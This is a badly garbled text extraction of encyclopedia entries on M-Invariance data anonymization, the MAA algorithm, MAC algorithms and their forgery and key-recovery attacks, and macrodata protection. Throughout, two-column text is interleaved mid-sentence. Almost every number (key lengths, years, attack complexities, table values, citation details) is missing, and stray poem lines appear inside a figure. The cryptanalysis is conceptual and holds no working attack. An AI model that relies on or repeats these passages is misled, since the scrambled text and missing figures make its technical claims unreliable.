Alice Bronchitis [, ] [k, k] Gastritis
Andy Flu [, ] [k, k] Flu
David Gastritis [, ] [k, k] Dyspepsia
Gary Flu [, ] [k, k] Gastritis
Helen Gastritis [, ] [k, k] Flu
Jane Dyspepsia [, ] [k, k] Gastritis
Ken Flu [, ] [k, k] Dyspepsia
Linda Gastritis [, ] [k, k] Gastritis
Paul Dyspepsia [, ] [k, k] Gastritis
Steve Gastritis [, ] [k, k] Flu
M-Invariance. Table Generalization T

In fact, it is simply impossible to publish a generaliza
Group ID Age Zip Code Disease tion of Table without incurring privacy breach due to
[, ] [k, k] Dyspepsia a phenomenon referred to as critical absence. To illustrate
[, ] [k, k] Bronchitis this, consider the hospital publication scenario depicted in
[, ] [k, k] Flu Tables , , , and . Given Table , an adversary (having
[, ] [k, k] Gastritis Bobs QI-particulars) is sure that Bob contracted dyspep-
[, ] [k, k] Flu sia or bronchitis. The value bronchitis, however, is absent in
[, ] [k, k] Gastritis the microdata (Table ) at the second release. As a result,
[, ] [k, k] Dyspepsia no matter how Table is generalized, publishing the gen-
[, ] [k, k] Flu
eralized version always enables the adversary to eliminate
[, ] [k, k] Gastritis
the possibility that Bob contracted bronchitis. Therefore,
[, ] [k, k] Dyspepsia
Bobs privacy will necessarily be breached after the second
[, ] [k, k] Gastritis
release.
m-invariance is a technique that incorporates coun-
M-Invariance. Table Microdata T terfeits with generalization to handle republication of
dynamic microdata. To illustrate the idea, let us consider
Name Age Zip Code Disease
the moment when the hospital has published Table (with
Bob Dyspepsia
respect to the microdata Table ) and tries to release an
David Gastritis
anonymized version of Table . Now, imagine that the hos-
Emily Flu
pital publishes Table , and an auxiliary Table . Table
Jane Dyspepsia
involves a generalized tuple for every row in Table ,
Linda Gastritis
Gary Flu
together with two counterfeit tuples c and c The thirteen
Mary Gastritis tuples are partitioned into six QI-groups. Table indi-
Ray Dyspepsia cates that a counterfeit is placed in QI-groups and ,
Steve Gastritis respectively. The purpose of releasing such statistics is to
Tom Gastritis enhance the effectiveness of data analysis. Even with these
Vince Flu statistics, an adversarys chance of figuring out individual
privacy is still limited, as explained shortly.
From an adversarys perspective, a counterfeit tuple
months before both publication times). Based on Table , is indistinguishable from the other rows in the QI-group
the adversary is certain that Bob must have contracted (that contains the counterfeit). Let us consider once more
either dyspepsia or bronchitis. From Table , the adversary the adversary who has the precise QI values of Bob and
finds out that Bobs disease must be either dyspepsia or gas- attempts to infer the disease of Bob from Tables , ,
tritis. By combining the above knowledge, the adversary and . The adversary knows that the tuple of Bob must
can easily infer Bobs real disease dyspepsia. have been generalized to the first QI-groups of Tables
MAA M
M-Invariance. Table Counterfeited generalization T parameter. Second, no QI-group should contain two tuples
Name Group ID Age Zip Code Disease with the same sensitive value. Finally, if a tuple t (from
Bob [, ] [k, k] Dyspepsia the microdata) is involved in several anonymized snap-
c [, ] [k, k] Bronchitis shots, the QI-groups in all those snapshots containing
David [, ] [k, k] Gastritis t must have exactly the same set of sensitive values
Emily [, ] [k, k] Flu signature.
Jane [, ] [k, k] Dyspepsia The privacy guarantee of m-invariance can be formal-
c [, ] [k, k] Flu ized as follows. Assume that the adversary () knows the
Linda [, ] [k, k] Gastritis QI values of every individual, as well as the timestamp at
Gary [, ] [k, k] Flu which the individuals record is inserted into or deleted
Mary [, ] [k, k] Gastritis from the microdata, but () has no knowledge of the sen-
Ray [, ] [k, k] Dyspepsia sitive value of any individual. Let o be an arbitrary indi-
Steve [, ] [k, k] Gastritis vidual in the microdata and v be an arbitrary sensitive
Tom [, ] [k, k] Gastritis value. Then, when the adversary observes the generalized
Vince [, ] [k, k] Flu snapshots of the microdata produced with m-invariance,
his/her posterior belief in the event that o has a sensitive
value v is at most /m [].
M-Invariance. Table The auxiliary relation
Group ID Count Recommended Reading
. Samarati P () Protecting respondents identities in microdata
release. IEEE Trans Knowl Data Eng ():
. Machanavajjhala A, Kifer D, Gehrke J, Venkitasubramaniam M
() L-diversity: privacy beyond k-anonymity. TKDD ()
. Xiao X, Tao Y () M-invariance: towards privacy preserv-
and , respectively. These groups encompass the same set ing re-publication of dynamic datasets. In: SIGMOD conference,
of sensitive values {dyspepsia, bronchitis}. Therefore, the Beijing, China, pp
adversary cannot eliminate any disease (from the previous
set) that Bob cannot have contracted. Even if the adversary
learns (from Table ) that a counterfeit exists in QI-group
M
of Table , he still cannot narrow down the possible dis-
eases of Bob. In fact, to the adversary, there is a % chance MAA
that the first tuple of Table .a would be the counterfeit.
The generalization in Table is referred as a counterfeited Bart Preneel
generalization. Department of Electrical Engineering-ESAT/COSIC,
The two releases (Tables and ) have an important Katholieke Universiteit Leuven and IBBT,
property If a tuple appears in the microdata at both pub- Leuven-Heverlee, Belgium
lication timestamps, it is generalized to two QI-groups
(one per timestamp) containing the same sensitive values.
For instance, the tuple <Jane, , k, dyspepsia> belongs Synonyms
to both Tables and . It is generalized to QI-groups Message authentication algorithm
and in Tables .b and .a, respectively. The two groups
include an equivalent set of diseases: {dyspepsia, flu, gas- Related Concepts
tritis} (as is achieved via a counterfeit c ). As a result, MAC Algorithms
even if an adversary finds out both QI-groups, he can only
conjecture that Janes disease may be an element in that Denition
equivalent set. MAA is a software oriented dedicated MAC algorithm
In general, m-invariance requires that the counter- with a -bit key and a -bit result.
feited generalizations of a dynamic dataset should satisfy
the following three conditions. First, each QI-group in any Background
anonymized snapshot T (i) (notation for the i-th release) The Message Authentication Algorithm (MAA) was pub-
must have at least m tuples, where m is a userspecified lished in by Davies and Clayden in response to a
M MAC Algorithms
request of the UK Bankers Automated Clearing Services

(BACS) [, ]. In it became a part of the ISO MAC Algorithms
banking standard []; this standard was revised in and
withdrawn in . Bart Preneel
Theory Leuven-Heverlee, Belgium
MAA is software oriented MAC Algorithm with a
-bit key and a -bit result; as MAA was designed Related Concepts
for mainframes in the s, its performance on CMAC; HMAC; MAA; PMAC
-bit processors is excellent (about five times faster
than DES). Introduction
A serious concern is that a -bit key no longer offers Electronic information stored and processed in computers
an adequate security level against exhaustive key search. and transferred over communication networks is vulnera-
Moreover, several undesirable properties of MAA have ble to both passive and active attacks. In a passive attack,
been identified by Preneel et al. in []; all these the opponent tries to obtain information on the data sent;
attacks exploit internal collisions (cf. MAC Algorithms). in an active attack, the opponent will attempt to modify
A forgery attack requires messages of Kbytes or the information itself, the claimed sender, and/or intended
messages of Kbyte; the latter circumvents the spe- recipient.
cial MAA mode for long messages defined in the ISO Cryptographic techniques for information authentica-
standard. A key recovery attack on MAA requires cho- tion focus on the origin of the data (data origin authen-
sen texts consisting of a single message block. The num- tication) and on the integrity of the data, that is, the fact
ber of off-line -bit multiplications for this attack varies that the data has not been modified. Other aspects that
between for one key in , to about for one can be important are the timeliness, the sequence with
key in . This represents a significant reduction w.r.t. respect to other messages, and the intended recipient(s).
exhaustive key search, which requires multiplica- Information authentication is particularly relevant in the
tions. Finally it is shown that MAA has weak keys for context of financial transactions and electronic commerce.
which it is rather easy to create a large cluster of collisions. Other applications where information authentication plays
These keys can be detected and recovered with chosen an important role are alarm systems, satellite control sys-
texts. None of the shortcut attacks described above offer tems, distributed control systems, and systems for access
an immediate threat to banking applications, in which a control. One can anticipate that authentication of voice and
single chosen text is often sufficient to perform a serious video will become increasingly important.
attack. One can distinguish between three mechanisms for
information authentication: MAC algorithms (here MAC
is the abbreviation of Message Authentication Code),
Recommended Reading authentication codes, and digital signatures. The first
. Davies D () A message authenticator algorithm suitable for a two mechanisms are based on a secret key shared between
mainframe computer. In: Blakley GR, Chaum D (eds) Advances sender and recipient. This means that if the sender authen-
in cryptology CRYPTO : proceedings, Santa Barbara,
August . Lecture notes in computer science, vol . Springer,
ticates a message with a MAC algorithm or an authen-
Berlin, pp tication code and later denies this, there is no way one
. Davies D, Price WL () Security for computer networks: an can prove that she has authenticated the message (as
introduction to data security in teleprocessing and electronic the recipient could have done this as well). In technical
funds transfer, nd edn. Wiley, Chichester terms, MAC algorithms and authentication codes can-
. ISO () Banking approved algorithms for mes-
sage authentication, Part : Message Authentication Algorithm
not provide non-repudiation of origin. MAC algorithms
(MAA) (withdrawn in ) are computationally secure: A necessary (but not suffi-
. Preneel B, Rijmen V, van Oorschot PC () A security analy- cient) condition for their security is that the computing
sis of the Message Authenticator Algorithm (MAA). Eur Trans power of the opponent is limited. Authentication codes
Telecommun (): are combinatorial objects; one can compute the proba-
. Preneel B, van Oorschot PC () On the security of two
MAC algorithms. In: Maurer U (ed) Advances in cryptology
bility of the success of an attack exactly; this probability
EUROCRYPT : proceedings, Saragossa, May . Lec- is independent on the computing power of the attacker.
ture notes in computer science, vol . Springer, Berlin, Digital signatures, introduced in by W. Diffie and
pp M. Hellman, allow us to establish in an irrefutable way
MAC Algorithms M
the origin and content of digital information. As they are A MAC generation algorithm; this algorithm com-
an asymmetric cryptographic technique, they can resolve putes from the text input x and the secret key K a
disputes between the communicating parties. MAC value MACK (x), which is bit-string of fixed
MAC algorithms have been used for a long time in length m typical values for m are . A MAC
the banking community and are thus older than the open generation algorithm can be randomized; in this case,
research in cryptology that started in the mid-s. How- a random string is added to the set of inputs and
ever, MAC algorithms with good cryptographic proper- outputs of this algorithm. A MAC generation algo-
ties were only introduced after the start of open research rithm can be stateful; in this case the MAC genera-
in the field. The first reference to a MAC is a tion algorithm keeps an internal state, which influences
patent application by Simmons et al. (reference in []). the result (e.g., a counter which is incremented after
Financial applications in which MACs have been intro- every use).
duced include electronic purses (such as Proton, CEPS A MAC verification algorithm; on input the text x, the
(Common European Purse Specification), and Mondex) MAC value MACK (x), the key K (and possibly a ran-
and credit/debit applications (e.g., the EMV-standard). dom string), the algorithm verifies whether the MAC
MACs are also being deployed for securing the Inter- value is correct or not; in practice this verification con-
net (e.g., IP security, Ipsec and transport layer security, sists of a computation of the MAC value on the text and
Transport Layer Security (TLS)). For all these applica- a check whether the result is identical to the MAC value
tions MACs are preferred over digital signatures because provided.
they are two to three orders of magnitude faster, and
MAC results are bytes long compared to Note that it is common to abuse terminology by abbrevi-
bytes for signatures. On present-day computers, software ating both the MAC value and the MAC algorithm as
implementations of MACs can achieve speeds from to the MAC.
cycles/byte, and MAC algorithms require very little In a communication context, sender and receiver will
resources on inexpensive -bit smart cards and on the agree on a secret key (using a key agreement protocol.
currently deployed Point of Sale (POS) terminals. The dis- The sender will compute a MAC value for every message
advantage is that they rely on shared symmetric keys, the and append this to the message; on receipt of the message,
management of which is more costly and harder to scale the receiver will apply the MAC verification algorithm,
than that of asymmetric key pairs. which typically corresponds to recomputing the MAC
M
value (see Fig. ).
The main security requirement for a MAC algorithm
Denition is that it should be hard to forge a MAC value on a new
A MAC algorithm MAC() consists of three components: text, that is, to compute a MAC for a new text. The resis-
A key generation algorithm; for most MAC algorithms tance of a MAC algorithm against forgeries is also known
the secret key K is a random bit-string of length as computation resistance. The next section investigates in
k typical values for k are . more detail the security of MAC algorithms.
Where dips the rocky Where dips the rocky

highland of Sleuth Wood highland of Sleuth Wood
in the lake, There lies a in the lake, There lies a
leafy island where flap- leafy island where flap-
ping herons wake the ping herons wake the
drowsy water-rats; there drowsy water-rats; there
weve hid our faery vats, weve hid our faery vats,
full of berries and of full of berries and of
reddest stolen cherries. reddest stolen cherries.
Come away, o human . . . Come away, o human . . .
MAC MAC
K K
210262682364 2102626823646
210262682364 =?
MAC Algorithms. Fig. Using a MAC algorithm for data authentication

M MAC Algorithms
Security of MAC Algorithms have a specific structure, which implies that an existential
Attacks on MAC algorithms can be classified according to forgery may not pose a threat at all. However, it is better to
the type of control an adversary has over the device com- be on the safe side, and to require resistance against chosen
puting or verifying the MAC value. In a chosen text attack, text attacks.
an adversary may request and receive MACs correspond- Below four attacks on MAC algorithms are considered:
ing to a number of texts of his choice, before completing brute force key search; guessing of the MAC; a generic
his attack. In an adaptive chosen-text attack, requests may forgery attack based on internal collisions; and attacks
depend on the outcome of previous requests. In a MAC- based on cryptanalytical weaknesses.
verification attack, the opponent can submit text-MAC
pairs of his choice to the verification device. Brute Force Key Search
An opponent who tries to deceive the receiver, knows If k denotes the bit-length of the key K, one can always try
the description of the MAC algorithm, but he does not all k key values and check which one is correct. If m is
know the secret key. Attacks can be further distinguished the size of the MAC and if one assumes that MACK (x) is
based on their goals: a random function from the key to the MAC, then veri-
fication of such an attack requires about k/m text-MAC
Forgery Attack pairs. To see this, note that the expected number of keys
This attack consists of predicting the value of MACK (x) which will take the text x to a certain given MAC value
for a text x without initial knowledge of K. If the adver- is km . Extending this argument, the expected number
sary can do this for a single text, he is said to be capable of keys which will take k/m texts to certain given MAC
of existential forgery. If the adversary is able to deter- values is k(mk/m) . For most MAC algorithms, the
mine the MAC for a text of his choice, he is said to be value of k/m lies between and ; it is reasonable to assume
capable of selective forgery. Ideally, existential forgery is that such a small number of text-MAC pairs are available.
computationally infeasible; a less demanding requirement The only exceptions are certain banking systems which
is that only selective forgery is so. Practical attacks often use one key per transaction; in this case one exploits the
require that a forgery is verifiable, that is, that the forged combinatorial rather than the cryptographic properties of
MAC is known to be correct on beforehand with probabil- the MAC algorithm; this corresponds to the use of an
ity near . The text on which a MAC is forged shall be new, authentication code.
which means that it should not be one of the texts used in Note that unlike for confidentiality protection, the
the MAC generation or verification queries (as this would opponent can only make use of the key if it is recovered
allow for a trivial attack). within its active lifetime (which can be reasonably short).
On the other hand, a single success during the lifetime
Key Recovery Attack of the system might be sufficient. This depends on a
This attack consists of finding the key K itself from a num- cost/benefit analysis, that is, how much one loses as a
ber of text/MAC pairs. Such an attack is more powerful consequence of a forgery.
than forgery, since it allows for arbitrary selective forgeries. The only way to preclude a key search is to choose a
One distinguishes between exhaustive search and short- sufficiently large key. In , the protection offered by a
cut key recovery attacks; ideally, no shortcut key recovery -bit key is clearly insufficient. One also has to take into
attacks should exist. account what is known as a variant of Moores Law: The
We can now informally state the security requirement computing power for a given cost is multiplied by four
for a MAC algorithm: It should be computationally infea- every years. This implies that if a system is deployed with
sible to generate an existential forgery under an adaptive an intended lifetime of years, an extra security mar-
chosen text attack (which also includes MAC verification gin of about bits is recommended. Keys of bits
queries). The success probability of an attacker is often are adequate for medium-term security ( years), and
computed as a function of m (the bit-length of the MAC) long-term protection ( years or more) is offered by keys
and the number q of queries. of bits. The entry on exhaustive key search provides
Note that in certain environments, such as in wholesale more details.
banking applications, a chosen text attack is not a very real-
istic assumption: If an opponent can choose a single text MAC Guessing Attack
and obtain the corresponding MAC, he can already make A second very simple attack is to choose an arbitrary
a substantial profit. Moreover, texts that are relevant may (fraudulent) text, and to append a randomly chosen MAC
MAC Algorithms M
value. An alternative strategy is to guess the key value This follows since for an internal collision (x, x ),
and compute the corresponding MAC value. Ideally, the MAC K (xy) = MAC K (x y) for any single block y; thus
probability that this MAC value is correct is equal to a requested MAC on the chosen text xy provides a forged
max(/m , /k ), where m is the number of bits of the MAC (the same) for x y (here denotes concatenation).
MAC value and k is the number of bits in the key. This Note this assumes that the MAC algorithm is determinis-
value should be multiplied with the expected profit cor- tic. Also, the forged text is of a special form, which may
responding to a fraudulent text, which results in the limit the practical impact of the attack.
expected value of one trial. Repeated trials can increase this The following propositions indicate the complexity to
expected value, but note that in a good implementation, find an internal collision. They are based on the birthday
repeated MAC verification errors will result in a security paradox and extensions thereof.
alarm (the forgery is not verifiable). For most applications,
k > m and m = . . . is sufficient to make this attack Proposition Let MAC() be an iterated MAC algorithm
uneconomical. with n-bit chaining variable and m-bit result, and an output
transformation g that is a permutation. An internal collision

for MAC can be found using an expected number of u =
Internal Collision Attack on Iterated MAC known text-MAC pairs of at least t = blocks each.
n/
Algorithms
The most common message authentication algorithms Proposition Let MAC() be an iterated MAC algorithm
today are iterated MAC algorithms. The MAC input x is with n-bit chaining variable and m-bit result, and output
padded to a multiple of the block size, and is then divided transformation g, which is a random function. An internal
into t blocks denoted x through xt . The MAC involves an collision for h can be found using u known text-MAC pairs
initial value H = IV, a compression function f, an output of at least t = blocks each and v chosen texts of at least
transformation g, and an n-bit (n m) chaining variable threeblocks. The expected values for u and v are as follows:
H i between stage i and stage i: u = n/ and v min(n/ , nm ).
Proposition Let MAC() be an iterated MAC with n-bit

Hi = f (Hi, xi ), i t
chaining variable, m-bit result, a compression function f
MACK (x) = g(Ht ).
which behaves like a random function (for fixed xi ), and out-
put transformation g. An internal collision for MAC can be
M
The secret key may be employed in f and/or in g.
found using u known text-MAC pairs, where each text has
Next we describe a general forgery attack by Preneel
the same substring of s trailing blocks, and
v chosen texts.
and van Oorschot [, ] that applies to all iterated MACs.
The expected values for u and v are: u = /(s + )n/ ;
Its feasibility depends on the bit sizes n of the chaining
v = if g is a permutation or s + nm+ , and otherwise
variable and m of the MAC result, the nature of the output
v nm / (s + ).
transformation g, and the number s of common trailing
blocks of the known texts (s ). The basic attack requires
Weaknesses of the Algorithm
several known texts, but only a single chosen text. How-
The above attacks assume that no shortcuts exist to break
ever, under certain conditions restrictions are imposed on
the MAC algorithm (either for forgery or for key recov-
the known texts; for example, if the input length itself is an
ery). The security of existing MAC algorithms relies
input to the output transformation, all inputs must have an
on unproven assumptions: Even if the security of the
equal length.
MAC algorithm is reduced in a provable way to the
First, some terminology is introduced. For an input
pseudo-randomness properties of a block cipher or of
pair (x, x ) with MAC K (x) = g(Ht ) and, MAC K (x ) =
the compression function of a hash function, these prop-
g(Ht ) a collision is said to occur if MAC K (x) =
erties themselves cannot be proved. Therefore, it is rec-
MAC K (x ). This collision is called an internal collision if
ommended to use only well-established algorithms which
Ht = Ht , and an external collision if Ht Ht but gHt =
have been subjected to an independent evaluation and a
gHt s.
regular review of the algorithm based on progress in crypt-
The attack starts with the following simple observation:
analysis is recommended. A typical example of a weak
Lemma An internal Collision for an iterated MAC algo- construction for a MAC algorithm is one which con-
rithm allows a verifiable MAC forgery, through a chosen-text sists of inserting a secret key into the input of a hash
attack requiring a single chosen text. function.
M MAC Algorithms
Practical MAC Algorithms variant for CBC-MAC based on DES. However, Knudsen
Compared to the number of block ciphers and hash has shown that a forgery attack on this scheme requires
functions, relatively few dedicated MAC algorithms have (nm)/ chosen texts and two known texts [].
been proposed []. The main reason is that MACs have A better solution for g is the encryption of the last
been derived from other primitives (initially from block block with a different key, which is known as EMAC. This
ciphers, but also from hash functions), which reduces the solution was proposed by the RIPE Consortium in [];
need for dedicated proposals. The following section lists Petrank and Rackoff have provided a security proof in [].
the most important constructions.
g(Ht ) = EK (Ht ) = EK (EK (xt Ht )),

Based on Block Ciphers where K is a key derived from K. Further optimizations
The oldest and most popular MAC algorithm is certainly which reduce the overhead due to padding are known as
CBC-MAC, which is based on a block cipher and which XCBC (three-key MAC) [] and OMAC []. EMAC and
has been widely standardized. For a more detailed discus- OMAC are recommended for use with the Rijndael/AES.
sion see CBC-MAC and variants. CBC-MAC is an iter- An alternative for g which is popular for use with DES
ated MAC algorithm. The most common padding method consists of replacing the processing of the last block by a
consists of appending a one bit followed by between and two-key triple encryption (with keys K = K and K ); this
n zero bits such that the resulting string has an input is commonly known as the ANSI retail MAC, since it first
length that is a multiple of n []. Denote the result- appeared in []:
ing string as x , x , , xt . The compression function for
g(Ht ) = EK (DK (Ht )).
CBC-MAC has the following form:
Here DK () denotes decryption with key K. This construc-
Hi = EK (Hi xi ), i t.
tion increases the strength against exhaustive key search,
Here EK (x) denotes the encryption of x using the k-bit key but it is not without its weaknesses []. A better alternative
K with an n-bit block cipher E and H = IV is a fixed initial is MacDES [].
value, which is set equal to the all zero string. The MAC is XOR-MAC by Bellare et al. [] is a randomized con-
then computed as MACK (x) = g(Ht ), where g is the output struction that allows for a full parallel evaluation; a fixed
transformation. number of bits in every block (e.g., bits) is used for a
Bellare et al. [] have provided a security proof for counter, which reduces the performance. It has the advan-
this scheme with g the identity mapping; their proof is tage that it is incremental: Small modifications to the input
based on the pseudo-randomness of the block cipher and (and to the MAC) can be made at very low cost. Improved
requires that the inputs are of fixed length. They show that variants of XOR-MAC are XECB [] and PMAC [].
CBC-MAC is a pseudo-random function, which is in fact RMAC increases the security level of EMAC against
a stronger requirement than being a secure MAC. Most of an internal collision attack by modifying the key in the
these variants are vulnerable to an internal collision attack, last encryption with a randomizer []. It has the disad-
which requires a single chosen text and about n/ known vantage that its security proof requires resistance of the
texts with n the block length of the block cipher; for a -bit underlying block cipher against related key attacks. It was
block cipher such as DES (Data Encryption Standard) included in NISTs draft special publication [] which has
this corresponds to known texts. For m < n, an addi- been withdrawn.
tional mn chosen texts are required, which makes the GPP-MAC and RIPE-MAC are discussed in the item
attack less realistic. It is important to note that for most CBC-MAC and variants.
schemes the gap between the lower bound (security proof)
and upper bound (best known attack) is quite small. For Based on Cryptographic Hash Functions
several of these schemes shortcut key recovery attacks exist The availability of very fast dedicated hash functions
as well; lower bounds for the security against these attacks (such as MD and MD) has resulted in several pro-
are not known for these schemes. posals for MAC algorithms based on these functions. As
In practice one needs security for inputs of variable it became clear that these hash functions are weaker than
length, which can be achieved by using a different map- intended, they were replaced by RIPEMD- and by
ping g. These variants and attacks on them are discussed SHA-.
in more detail under CBCMAC and variants. The first proposed constructions were the secret pre-
The most popular choice for g was the selection of fix and secret suffix methods which can be described as
the leftmost m < n bits, m = being a very popular follows: MACK (x) = h(Kx), MACK (x) = h(xK).
MAC Algorithms M
However, these schemes have some security problems []. compression function itself is a secure MAC for one block
Consider the secret prefix method and assume that the (with the secret key in the Hi input and the text in the xi
hash function is an iterated hash function, where in each input) [].
iteration n bits of the text (or the key) is processed. Then While these assumptions are weaker than for the secret
if one has the MAC of a text x such that the length of envelope method, it still requires further validation for
Kx (including padding) is a multiple of n, then it is triv- existing hash functions. HMAC is used for providing mes-
ial to compute the value of MACK (Ky) from MACK (x) sage authentication in the Internet Protocol Ipsec, TLS
(this assumes that the output transformation is the identity (Transport Layer Security) and has been included in an
function). Moreover, if the inputs x and x have the same ISO [] and FIPS standard [].
MAC value and if this is the result of an internal collision, Two-Track-MACisanotherconstructionwhichexploits
the inputs xy and x y will have the same MAC values. the presence of two parallel internal trails in RIPEMD-
Consider the secret suffix method and assume that the [].
hash function is an iterated hash function. Here an attacker
can try to find an internal collision for two texts x and x Dedicated MAC Algorithms
ignoring the secret key K. Then if an attacker succeeds, The Message Authentication Algorithm (MAA) was
the MACs of x and x will be identical regardless of the designed in by Davies and Clayden [, ]. In , it
value of K. It is important to notice here that the attacker became a part of the ISO banking standard []. Sev-
can perform the computations off-line, that is, one needs eral weaknesses of MAA have been identified by Preneel
no access to the MAC generation device during the first et al. [], but none of these form an immediate threat
step. to existing applications. However, it would be advisable
A better proposal is the secret envelope method, or to check for the known classes of weak keys [] and to
envelope MAC which can be described as MACK (x) = change the key frequently.
h(K xK ). For this method, Bellare et al. provide a secu- A cryptanalysis of an early MAC algorithm can be
rity proof in []. This method has been shown to be secure found in []. A few MAC algorithms in use have not
based on the assumption that the compression function been published, such as the S.W.I.F.T. authenticator and
of the hash function is a pseudorandom function (when the Swedish algorithm Data Seal. Several proprietary MAC
keyed through the chaining variable). While this is an algorithms that can process only short messages algorithm
interesting result, it should be pointed out that the com- have been leaked: This includes the Sky Videocrypt sys-
M
pression function of most hash functions has not been tem of British Sky Broadcasting (which was leaked out
evaluated with respect to this property. For the particular in and replaced), the COMP algorithm which
envelope method of Internet RFC [], it was shown was used by certain GSM operators as A/A algorithm
by Preneel and van Oorschot [] that an internal colli- (a fix for its weaknesses is proposed in []; it has been
sion attack (which requires about n/ known texts) does upgraded to COMP and COMP) and the func-
not only allow for a forgery but also a key recovery attack. tion used in the SecureID token (for which an analysis can
This attack exploits the standard padding algorithms in be found in []). Proprietary algorithms which have not
modern hash functions and illustrates that one has to be been leaked include Telepass (from Bull) and the DECT
very careful when transforming a hash function into a Standard Authentication Algorithm (DSAA) for cordless
MAC algorithm. telephony.
To account for such pitfalls, the MDx-MAC has been
proposed which extends the envelope method by also Recommended Reading
introducing secret key material into every iteration []. . ANSI X. () Financial institution retail message authen-
This makes the pseudo-randomness assumption more tication. American Bankers Association, Washington, DC
. Bellare M, Canetti R, Krawczyk H () Pseudoran-
plausible. Moreover, it precludes the key recovery attack
dom functions revisited: the cascade construction and its
by extending the keys to complete blocks. MDx-MAC has concrete security. In: Proceedings of the th annual sym-
been included in the ISO standard []. posium on the foundations of computer science. IEEE,
HMAC is the most popular hash function variant, Washington, DC, pp . Full version http://www.cs.ucsd.
which uses a nested construction (with padded keys): edu/users/mihir/papers/cascade.html
. Bellare M, Canetti R, Krawczyk H () Keying hash func-
MACK (x) = h (K h (K x)) . tions for message authentication. In: Koblitz N (ed) Advances
in cryptology CRYPTO. Lecture notes in computer sci-
The security of HMAC is guaranteed if the hash func- ence, vol . Springer, Berlin, pp . Full version http://
tion is collision resistant for a secret value H , and if the www.cs.ucsd.edu/users/mihir/papers/hmac.html
M Machine Readable Travel Document Security
. Bellare M, Gurin R, Rogaway P () XOR MACs: new encryption. Lecture notes in computer science, vol .
methods for message authentication using block ciphers. In: Springer, Berlin, pp
Coppersmith D (ed) Advances in cryptology CRYPTO. . Knudsen L () Chosen-text attack on CBC-MAC. Electron
Lecture notes in computer science, vol . Springer, Berlin, Lett ():
pp . Knudsen L, Preneel B () MacDES: MAC algorithm based on
. Bellare M, Kilian J, Rogaway P () The security of cipher DES. Electron Lett ():
block chaining. J Comput Syst Sci ():. Earlier version . Metzger P, Simpson W () IP authentication using keyed
in Desmedt Y (ed) () Advances in cryptology CRYPTO. MD. Internet Request for Comments
Lecture notes in computer science, vol . Springer, Berlin, . NIST Special Publication -B () Draft recommenda-
pp tion for block cipher modes of operation: the RMAC authenti-
. Biryukov A, Lano J, Preneel B () Cryptanalysis of cation mode
the alleged SecurID hash function. In: Matsui M, Zuccher- . Petrank E, Rackoff C () CBC MAC for real-time data
atop RJ (eds) Selected areas in cryptography . Lec- sources. J Cryptol ():
ture notes in computer science, vol . Springer, Berlin, . Preneel B, Bosselaers A, Govaerts R, Vandewalle J () Crypt-
pp analysis of a fast cryptographic checksum algorithm. Comput
. Black J, Rogaway P () CBC-MACs for arbitrary length mes- Secur ():
sages. In: Bellare M (ed) Advances in cryptology CRYPTO . Preneel B, Rijmen V, van Oorschot PC () A security anal-
. Lecture notes in computer science, vol . Springer, ysis of the message authenticator algorithm (MAA). Eur Trans
Berlin, pp Telecommun ():
. Black J, Rogaway P () A block-cipher mode of operation . Preneel B, van Oorschot PC () MDx-MAC and building fast
for parallelizable message authentication. In: Knudsen L (ed) MACs from hash functions. In: Coppersmith D (ed) Advances
Advances in cryptology EUROCRYPT . Lecture notes in in cryptology CRYPTO. Lecture notes in computer science,
computer science, vol . Springer, Berlin, pp vol . Springer, Berlin, pp
. Davies D () A message authenticator algorithm suitable for a . Preneel B, van Oorschot PC () On the security of two
mainframe computer. In: Blakley GR, Chaum D (eds) Advances MAC algorithms. In: Maurer U (ed) Advances in cryptology
in cryptology CRYPTO. Lecture notes in computer science, EUROCRYPT. Lecture notes in computer science, vol .
vol . Springer, Berlin, pp Springer, Berlin, pp
. Davies D, Price WL () Security for computer networks: an . Preneel B, van Oorschot PC () On the security of iter-
introduction to data security in teleprocessing and electronic ated message authentication codes. IEEE Trans Info Theory
funds transfer, nd edn. Wiley, New York IT-():
. den Boer B, Van Rompay B, Preneel B, Vandewalle J () . RIPE () Integrity primitives for secure information systems.
New (two-track-)MAC based on the two trails of RIPEMD. In: In: Bosselaers A, Preneel B (eds) Final report of RACE integrity
Vaudenay S, Youssef AM (eds) Selected areas in cryptography primitives evaluation (RIPE-RACE). Lecture notes in com-
. Lecture notes in computer science, vol . Springer, puter science, vol . Springer, Berlin
Berlin, pp . Simmons GJ () How to insure that data acquired to ver-
. FIPS - () Secure hash standard. NIST, US Department ify treaty compliance are trustworthy. In: Simmons GJ (ed)
of Commerce, Washington, DC Contemporary cryptology: the science of information integrity.
. FIPS () The keyed-hash message authentication code IEEE Press, Piscataway, pp
(HMAC). NIST, US Department of Commerce, Washington, DC
. Gligor V, Donescu P () Fast encryption and authentication:
XCBC encryption and ECB authentication modes. In: Matsui M
(ed) Fast software encryption. Lecture notes in computer sci-
. Handschuh H, Paillier P () Reducing the collision proba-
Machine Readable Travel
bility of alleged Comp. In: Quisquater J-J, Schneier B (eds) Document Security
Smart card research and applications. Lecture notes in computer
science, vol . Springer, Berlin, pp Passport Security
. ISO () Banking approved algorithms for message
authentication, Part : DEA, , Part : message authentication
algorithm (MAA). ISO, Geneva
. ISO/IEC () Information technology security tech-
niques message authentication codes (MACs). Part : mech- Macrodata Disclosure Limitation
anisms using a block cipher, . Part : mechanisms using a
dedicated hash-function, . Standards South Africa, Pretoria Macrodata Protection
. Iwata T, Kurosawa K () OMAC: one key CBC MAC.
In: Johansson T (ed) Fast software encryption. Lecture
notes in computer science, vol . Springer, Berlin,
pp
. Jaulmes E, Joux A, Valette F () On the security of ran-
Macrodata Disclosure Protection
domized CBC-MAC beyond the birthday paradox limit: a new
construction. In: Daemen J, Rijmen V (eds) Fast software Macrodata Protection
Macrodata Protection M
Number of respondents with a disease

Macrodata Protection Hypertension Obesity Chest Pain Short Breath Total
M 1 2 2 1 6
Sara Foresti F 1 2 0 2 5
Dipartimento di Tecnologie dellInformazione (DTI), a Total 2 4 2 3 11
Percentage of respondents with a disease
Hypertension Obesity Chest Pain Short Breath Total
M 9.1 18.2 18.2 9.1 54.6
Synonyms
F 9.1 18.2 0 18.2 45.4
Macrodata disclosure limitation; Macrodata disclosure
Total 18.2 36.4 18.2 27.2 100
protection b
Average number of days spent in the hospital
Related Concepts by respondents with a disease
Microdata Protection Hypertension Obesity Chest Pain Short Breath Total
M 2 8.5 23.5 3 37
Denition F 3 30.5 0 5 38.5

Total 5 39 23.5 8 75.5
Macrodata protection techniques protect the confidential- c
ity of sensitive information when releasing aggregated
Macrodata Protection. Fig. An example of count (a), fre-
values.
quency (b), and magnitude (c) macrodata tables
Background
